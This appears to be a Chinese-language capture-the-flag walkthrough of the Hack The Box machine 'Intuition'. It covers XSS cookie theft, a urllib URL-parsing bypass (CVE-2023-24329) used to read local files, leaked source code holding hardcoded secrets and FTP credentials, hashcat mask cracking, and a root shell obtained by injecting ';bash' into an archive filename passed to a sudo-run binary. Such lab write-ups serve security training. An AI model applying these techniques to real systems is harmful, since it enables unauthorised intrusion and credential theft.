HTB - Intuition

20k 詞

HTB - Intuition

user.txt

Enumeration

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-31 05:44 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:44
Completed NSE at 05:44, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:44
Completed NSE at 05:44, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:44
Completed NSE at 05:44, 0.00s elapsed
Initiating Ping Scan at 05:44
Scanning 10.129.230.246 [4 ports]
Completed Ping Scan at 05:44, 0.10s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 05:44
Completed Parallel DNS resolution of 1 host. at 05:44, 0.17s elapsed
Initiating SYN Stealth Scan at 05:44
Scanning 10.129.230.246 [65535 ports]
Discovered open port 80/tcp on 10.129.230.246
Discovered open port 22/tcp on 10.129.230.246
SYN Stealth Scan Timing: About 45.67% done; ETC: 05:45 (0:00:37 remaining)
Warning: 10.129.230.246 giving up on port because retransmission cap hit (2).
Completed SYN Stealth Scan at 05:45, 67.06s elapsed (65535 total ports)
Initiating Service scan at 05:45
Scanning 2 services on 10.129.230.246
Completed Service scan at 05:45, 6.38s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.230.246.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:45
Completed NSE at 05:45, 4.85s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:45
Completed NSE at 05:45, 0.90s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:45
Completed NSE at 05:45, 0.00s elapsed
Nmap scan report for 10.129.230.246
Host is up, received echo-reply ttl 63 (0.17s latency).
Scanned at 2024-05-31 05:44:31 EDT for 80s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLS2jzf8Eqy8cVa20hyZcem8rwAzeRhrMNEGdSUcFmv1FiQsfR4F9vZYkmfKViGIS3uL3X/6sJjzGxT1F/uPm/U=
| 256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFj9hE1zqO6TQ2JpjdgvMm6cr6s6eYsQKWlROV4G6q+4
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://comprezzor.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 05:45
Completed NSE at 05:45, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 05:45
Completed NSE at 05:45, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 05:45
Completed NSE at 05:45, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 79.86 seconds
Raw packets sent: 67510 (2.970MB) | Rcvd: 67516 (2.701MB)

subdomain

1
2
3
Found: auth.comprezzor.htb Status: 302 [Size: 199] [--> /login]
Found: dashboard.comprezzor.htb Status: 302 [Size: 251] [--> http://auth.comprezzor.htb/login]
Found: report.comprezzor.htb Status: 200 [Size: 3166]

subdict

1
2
3
4
5
6
Target: http://comprezzor.htb/

[05:48:54] Starting:

Task Completed

由於看到了 Port 80
所以先進去看他提供什麼服務

pic

看起來沒什麼特別的上傳檔案上去使用服務後沒看到特別能利用的點所以來查看一下子網域的部分
http://report.comprezzor.htb/
pic

XSS Injection

這邊有趣多了看起來是一個回報bug的平台,然後管理員回來看有那些問題先觀察一下Response
pic

看起來沒問題,所以直接丟一個xss看看能不能拿到cookies
pic

結果異常的順利,這邊拿到一個不知道是誰的cookies

pic

既然有了cookies那就直接去剛剛的子網域使用看看
http://dashboard.comprezzor.htb/

pic

登陸進去了,似乎是剛剛回報畫面的後台這邊我注意到Report Title好像會直接顯示在畫面上Priority這個設定似乎會影響管理員處裡的優先級

pic

所以這次我把 XSSPayload 直接放在標題上

pic

本來想直接進入後台把我提出的report優先級上升但發現向上圖那樣,假如我直接讀取頁面的話會吃到自己的Payload所以我利用api的功能用GET的方式直接傳送命令

pic

我的Report編號是22
這樣直接傳給後台

pic

然後就拿到管理員的cookie

pic
解碼一下看是不是管理員的cookie
pic

LFI & Python URL bypass

來到後台看到一個很有趣的功能他會把一個讀取到的html轉換成PDF
pic
於是乎就先試試看能不能觸發RFI,先讓他連到我的伺服器pic
用 nc 去聽聽看拿到甚麼資訊
pic

只傳來一個header和一個cookie
不過更感興趣的是他的UA是python的一個庫Python-urllib/3.11
除了得知後台是python伺服器以外去查查看這個版本的urllib有啥漏洞
CVE-2023–24329
簡單來講就是在URI前面加一個空格件就能繞過安全性檢查就能使用這個LFI漏洞所以接下來就可以用這個漏洞來enumeration本地資料

pic

/etc/passwd

使用者枚舉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
avahi:x:105:110:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
geoclue:x:106:111::/var/lib/geoclue:/usr/sbin/nologin

/proc/self/environ

環境變數枚舉

1
2
3
HOSTNAME=web.localPYTHON_PIP_VERSION=22.3.1HOME=/rootGPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DPYTHON_GET_PIP_URL=https://github.com/pypa/get-
pip/raw/d5cb0afaf23b8520f1bbcfed521017b4a95f5c01/public/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-
8PYTHON_VERSION=3.11.2PYTHON_SETUPTOOLS_VERSION=65.5.1PWD=/appPYTHON_GET_PIP_SHA256=394be00f13fa1b9aaa47e911bdb59a09c3b2986472130f30aa0bfaf7f3980637

/proc/self/cmdline

這個python執行路徑和檔案名稱的枚舉

1
python3/app/code/app.py

透過上面剛剛那些枚舉沒得到太多有用的資訊不過倒是能透過這個程式看能不能找到更有用的訊息

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask, request, redirect
from blueprints.index.index import main_bp
from blueprints.report.report import report_bp
from blueprints.auth.auth import auth_bp
from blueprints.dashboard.dashboard import dashboard_bp

app = Flask(__name__)
app.secret_key = "7ASS7ADA8RF3FD7" #應該是加密cookie?
app.config['SERVER_NAME'] = 'comprezzor.htb'
app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024 # 限制文件大小為 5MB

ALLOWED_EXTENSIONS = {'txt', 'pdf', 'docx'} # 根據需要添加更多允許的文件擴展名

app.register_blueprint(main_bp)
app.register_blueprint(report_bp, subdomain='report')
app.register_blueprint(auth_bp, subdomain='auth')
app.register_blueprint(dashboard_bp, subdomain='dashboard')

if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0", port=80)

auth.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from flask import Flask, Blueprint, request, render_template, redirect, url_for, flash, make_response
from .auth_utils import *
from werkzeug.security import check_password_hash

app = Flask(__name__)
auth_bp = Blueprint('auth', __name__, subdomain='auth')

@auth_bp.route('/')
def index():
return redirect(url_for('auth.login'))

@auth_bp.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user = fetch_user_info(username)

if (user is None) or not check_password_hash(user[2], password):
flash('Invalid username or password', 'error')
return redirect(url_for('auth.login'))

serialized_user_data = serialize_user_data(user[0], user[1], user[3])
flash('Logged in successfully!', 'success')
response = make_response(redirect(get_redirect_url(user[3])))
response.set_cookie('user_data', serialized_user_data, domain='.comprezzor.htb')
return response

return render_template('auth/login.html')

@auth_bp.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user = fetch_user_info(username)

if user is not None:
flash('User already exists', 'error')
return redirect(url_for('auth.register'))

if create_user(username, password):
flash('Registration successful! You can now log in.', 'success')
return redirect(url_for('auth.login'))
else:
flash('Unexpected error occurred while trying to register!', 'error')

return render_template('auth/register.html')

@auth_bp.route('/logout')
def logout():
pass

# 註冊 Blueprint
app.register_blueprint(auth_bp)

if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0", port=80)

dashboard.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
from flask import Blueprint, request, render_template, flash, redirect, url_for, send_file
from blueprints.auth.auth_utils import admin_required, login_required, deserialize_user_data
from blueprints.report.report_utils import (
get_report_by_priority,
get_report_by_id,
delete_report,
get_all_reports,
change_report_priority,
resolve_report
)
import random
import os
import pdfkit
import socket
import shutil
import urllib.request
from urllib.parse import urlparse
import zipfile
from ftplib import FTP
from datetime import datetime

dashboard_bp = Blueprint('dashboard', __name__, subdomain='dashboard')

pdf_report_path = os.path.join(os.path.dirname(__file__), 'pdf_reports')
allowed_hostnames = ['report.comprezzor.htb']

@dashboard_bp.route('/', methods=['GET'])
@admin_required
def dashboard():
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)

if user_info['role'] == 'admin':
reports = get_report_by_priority(1)
elif user_info['role'] == 'webdev':
reports = get_all_reports()

return render_template('dashboard/dashboard.html', reports=reports, user_info=user_info)

@dashboard_bp.route('/report/', methods=['GET'])
@login_required
def get_report(report_id):
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)

if user_info['role'] in ['admin', 'webdev']:
report = get_report_by_id(report_id)
return render_template('dashboard/report.html', report=report, user_info=user_info)
else:
pass

@dashboard_bp.route('/delete/', methods=['GET'])
@login_required
def del_report(report_id):
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)

if user_info['role'] in ['admin', 'webdev']:
delete_report(report_id)
return redirect(url_for('dashboard.dashboard'))
else:
pass

@dashboard_bp.route('/resolve', methods=['POST'])
@login_required
def resolve():
report_id = int(request.args.get('report_id'))

if resolve_report(report_id):
flash('Report resolved successfully!', 'success')
else:
flash('Error occurred while trying to resolve!', 'error')

return redirect(url_for('dashboard.dashboard'))

@dashboard_bp.route('/change_priority', methods=['POST'])
@admin_required
def change_priority():
user_data = request.cookies.get('user_data')
user_info = deserialize_user_data(user_data)

if user_info['role'] not in ['webdev', 'admin']:
flash('Not enough permissions. Only admins and webdevs can change report priority.', 'error')
return redirect(url_for('dashboard.dashboard'))

report_id = int(request.args.get('report_id'))
priority_level = int(request.args.get('priority_level'))

if change_report_priority(report_id, priority_level):
flash('Report priority level changed!', 'success')
else:
flash('Error occurred while trying to change the priority!', 'error')

return redirect(url_for('dashboard.dashboard'))

@dashboard_bp.route('/create_pdf_report', methods=['GET', 'POST'])
@admin_required
def create_pdf_report():
global pdf_report_path

if request.method == 'POST':
report_url = request.form.get('report_url')

try:
scheme = urlparse(report_url).scheme
hostname = urlparse(report_url).netloc
dissallowed_schemas = ["file", "ftp", "ftps"]

if (scheme not in dissallowed_schemas) and ((socket.gethostbyname(hostname.split(":")[0]) != '127.0.0.1') or (hostname in allowed_hostnames)):
urllib_request = urllib.request.Request(
report_url,
headers={'Cookie': 'user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhM'}
)
response = urllib.request.urlopen(urllib_request)
html_content = response.read().decode('utf-8')
pdf_filename = f'{pdf_report_path}/report_{str(random.randint(10000, 90000))}.pdf'
pdfkit.from_string(html_content, pdf_filename)
return send_file(pdf_filename, as_attachment=True)
else:
flash('Invalid URL', 'error')

except Exception as e:
flash('Unexpected error!', 'error')

return render_template('dashboard/create_pdf_report.html')

@dashboard_bp.route('/backup', methods=['GET'])
@admin_required
def backup():
source_directory = os.path.abspath(os.path.dirname(__file__) + '../../../')
current_datetime = datetime.now().strftime("%Y%m%d%H%M%S")
backup_filename = f'app_backup_{current_datetime}.zip'

with zipfile.ZipFile(backup_filename, 'w', zipfile.ZIP_DEFLATED) as zipf:
for root, _, files in os.walk(source_directory):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, source_directory)
zipf.write(file_path, arcname=arcname)

try:
ftp = FTP('ftp.local')
ftp.login(user='ftp_admin', passwd='u3jai8y71s2')
ftp.cwd('/')

with open(backup_filename, 'rb') as file:
ftp.storbinary(f'STOR {backup_filename}', file)

ftp.quit()
os.remove(backup_filename)
flash('Backup and upload completed successfully!', 'success')

except Exception as e:
flash(f'Error: {str(e)}', 'error')

return redirect(url_for('dashboard.dashboard'))

上面的檔案可以看到

1
2
3
ftp = FTP('ftp.local')
ftp.login(user='ftp_admin', passwd='u3jai8y71s2')
ftp.cwd('/')

所以我去查一下要怎麼直接透過URL直接使用FTP伺服器pic
然後嘗試看看pic
結果是成功進到伺服器裡面,還有幾個重要的檔案都下載來看看
pic

看起來是一個ssh key
pic
好像是在說這個key還有一個密碼之類的
pic

然後修復一下key的格式

pic

網路上找到如何解密ssh key

pic
照著步驟做發現得到一個很重要的訊息是在說ssh有個用戶叫做 dev_acc 之前枚舉的時候沒看到的pic
於是就用這個key輕鬆登入

pic
到這邊就 user.txt 了


Enumeration again

一進去直接先測試 sudo -l 不過我們沒有密碼沒辦法看於是乎就先 linpeas 一下下面是我整理出覺得比較有用的資訊

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                                                                                                                                                          
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 172.21.0.1:21 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:21 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:4444 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:42381 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -


adam:x:1002:1002:,,,:/home/adam:/bin/ bash
dev_acc:x:1001:1001:,,,:/home/dev_acc:/bin/bash
lopez:x:1003:1003:,,,:/home/lopez:/bin/bash
root:x:0:0:root:/root:/bin/bash

-rw-r--r-- 1 root root 3771 Jan 6 2022 /etc/skel/.bashrc
-rw-r--r-- 1 dev_acc dev_acc 3771 Sep 17 2023 /home/dev_acc/.bashrc
-rw-r--r-- 1 root root 3771 Feb 25 2020 /snap/core20/2015/etc/skel/.bashrc
-rw-r--r-- 1 root root 3771 Feb 25 2020 /snap/core20/2182/etc/skel/.bashrc
-rw-r--r-- 1 root root 3771 Jan 6 2022 /snap/core22/1122/etc/skel/.bashrc
-rw-r--r-- 1 root root 3771 Jan 6 2022 /snap/core22/864/etc/skel/.bashrc





-rw-r--r-- 1 root root 807 Jan 6 2022 /etc/skel/.profile
-rw-r--r-- 1 dev_acc dev_acc 807 Sep 17 2023 /home/dev_acc/.profile
-rw-r--r-- 1 root root 807 Feb 25 2020 /snap/core20/2015/etc/skel/.profile
-rw-r--r-- 1 root root 807 Feb 25 2020 /snap/core20/2182/etc/skel/.profile
-rw-r--r-- 1 root root 807 Jan 6 2022 /snap/core22/1122/etc/skel/.profile
-rw-r--r-- 1 root root 807 Jan 6 2022 /snap/core22/864/etc/skel/.profile

/var/www/app/blueprints/auth/users.sql
/var/www/app/blueprints/auth/users.db

Found /var/lib/command-not-found-backup/commands.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 5, database pages 881, cookie 0x4, schema 4, UTF-8, version-valid-for 5
Found /var/lib/fwupd/pending.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 3, database pages 6, cookie 0x5, schema 4, UTF-8, version-valid-for 3
Found /var/lib/PackageKit/transactions.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 5, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 5
Found /var/www/app/blueprints/auth/users.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 18, database pages 4, cookie 0x1, schema 4, UTF-8, version-valid-for 18
Found /var/www/app/blueprints/report/reports.db: SQLite 3.x database, last written using SQLite version 3034001, file counter 69, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 69

-> Extracting tables from /var/lib/command-not-found-backup/commands.db (limit 20)
-> Extracting tables from /var/lib/fwupd/pending.db (limit 20)
-> Extracting tables from /var/lib/PackageKit/transactions.db (limit 20)
-> Extracting tables from /var/www/app/blueprints/auth/users.db (limit 20)
-> Extracting tables from /var/www/app/blueprints/report/reports.db (limit 20)

看到還有一個用戶叫做 lopez
所以去記錄檔看看有沒有遺落的資訊

zgrep 可以查詢gz壓縮檔裡面的資訊

pic
這樣就先得到這個帳戶 lopez:Lopezz1992%123

pic

剛剛linpeas還有看到一些資料庫是可以訪問的所以看一下這個儲存users.db的資料庫
pic

用 hashcat

工具有時候會誤判類型或給出錯誤的資訊向這次使用nth看hash類別的時候就順著錯誤的類別找下去浪費很多時間
hashcat直接執行的時候也會和你講說他認為可能是什麼類別

pic

得到一組密碼 adam gray
由於他不能用來登入 adam 的 ssh (剛剛linpeas有得到這個資訊)
來試試看其他服務能不能登入在剛剛LFI的時候我們就知道這台server上有ftp
於是乎我們試試看能不能用這個密碼進入ftp

pic

然後用scp把檔案送回本地解析一下

pic

run-tests.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

# List playbooks
./runner1 list

# Run playbooks [Need authentication]
# ./runner run [playbook number] -a [auth code]
#./runner1 run 1 -a "UHI75GHI****"

# Install roles [Need authentication]
# ./runner install [role url] -a [auth code]
#./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"

runner1.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// Version : 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <openssl/md5.h>

#define INVENTORY_FILE "/opt/playbooks/inventory.ini"
#define PLAYBOOK_LOCATION "/opt/playbooks/"
#define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook"
#define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy"
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"

int check_auth(const char* auth_key) {
unsigned char digest[MD5_DIGEST_LENGTH];
MD5((const unsigned char*)auth_key, strlen(auth_key), digest);

char md5_str[33];
for (int i = 0; i < 16; i++) {
sprintf(&md5_str[i*2], "%02x", (unsigned int)digest[i]);
}

我們可以看到腳本使用傳入密碼參數給程式是用#./runner1 run 1 -a "UHI75GHI****"
在原始碼可以看到程式驗證密碼的md5 hash用"0feda17076d793c2ef2870d7427ad4ed"
所以這邊試試看用掩碼攻擊來破解這個密碼看前面的字元規律,我猜後四碼都會是大寫字母+數字的組合於是我用
hashcat -a 3 -m 0 ha.ha UHI75GHI?1?1?1?1 --custom-charset1 ?u?d

pic
於是得到密碼 UH75GHINKOP

上面得到帳戶 lopezsudo -l 後看到一個執行檔分析一下

Reverse

runner2 Decompile
pic

這個安裝函式裡面的 install /usr/bin/ansible-galaxy
似乎是直接調用系統執行安裝指令所以嘗試看能不能在這邊找到命令注入的點
func_installRole
pic

這個驗證函式裡面的hash值和我們在runner1拿到的密碼完全一樣
0feda17076d793c2ef2870d7427ad4ed:UHI75GHINKOP

func_check_auth
pic
這邊建立一個檔案名稱包含;bash的壓縮檔讓他能讀到在寫一個這個程式所需的json檔案,並且輸入剛剛的密碼當作auth_code假如成功讀取的話程式調用的指令執行完後會執行我們所需要的指令回傳一個shell給我們,不過我們是用sudo的權限執行的,所以得到的shell將會是root的pic
執行後成功拿到root
pic

1
root:$y$j9T$uiniFHjBFerbO..eAx7bI1$A6O8Lt6NG3BS33humdTtnyFe3uTcM3Gew1gldp0S2r:19656:0:99999:7::